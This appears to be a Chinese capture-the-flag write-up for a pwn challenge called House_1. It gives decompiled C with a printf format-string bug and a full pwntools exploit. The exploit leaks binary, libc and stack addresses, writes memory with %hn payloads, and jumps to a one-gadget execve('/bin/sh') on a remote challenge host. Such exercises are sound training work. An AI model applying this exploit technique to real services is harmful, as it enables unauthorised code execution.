0x00

高手杯

0x01 House_1

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_135E()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please write your name:");
read(0, buf, 0x30uLL);
puts("the name is:");
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
_BYTE *sub_12E5()
{
_BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please write your content");
read(0, buf, nbytes);
return buf;
}

感觉纯敷衍的一题,非常简单的格串,甚至还有栈溢出可以打 ret2libc,我的题解是直接完全用格串泄露 libc 、栈地址打 ogg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "45.40.247.139"
port = 27960
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x13ce)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6-dbg_2.31-0ubuntu9.16_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/glibc-source_2.31-0ubuntu9.16_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
menu = b">> "

def ch(num):
io.recvuntil(menu)
io.sendline(str(num).encode())

def show():
ch(4)

def add():
ch(1)

def edit(content):
ch(3)
io.recvuntil(b'Please write your content')
io.send(content)

def rename(content):
ch(2)
io.recvuntil(b'Please write your name:')
io.send(content)

def write2bytes(addr, data):
payload = '%{}c'.format(data).encode() + b'%8$hn'
payload = payload.ljust(0x10, b'a')
payload += p64(addr)
rename(payload)

def write8bytes(addr, data):
write2bytes(addr, (data & 0xffff))
write2bytes(addr+2, ((data >> 16) & 0xffff))
write2bytes(addr+4, ((data >> 32) & 0xffff))
#write2bytes(addr+6, ((data >> 48) & 0xffff))

rename(b'%15$p%21$p%9$p')
io.recvuntil(b'0x')
elf_base = int(io.recv(12), 16) - 0x147c
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) - 243 - libc.sym["__libc_start_main"]
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)

log.info("elf_base: " + hex(elf_base))
log.info("libc_base: " + hex(libc_base))
log.info("stack_addr: " + hex(stack_addr))

pop_rdi_ret = libc_base + 0x23b6a
ret = pop_rdi_ret + 1
elf_ret = elf_base + 0x14fa
# .text:00000000000014FA pop rbx
# .text:00000000000014FB pop rbp
# .text:00000000000014FC pop r12
# .text:00000000000014FE pop r13
# .text:0000000000001500 pop r14
# .text:0000000000001502 pop r15
# .text:0000000000001504 retn
system = libc_base + libc.sym["system"]
ogg = libc_base + 0xe3afe
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
binsh = libc_base + next(libc.search("/bin/sh"))
target = stack_addr + 0x8
write8bytes(target+0x38, ogg)
write8bytes(target+0x30, target+0x38+0x40) # 控制 [r15] == 0
write2bytes(target, (elf_ret & 0xffff))

io.interactive()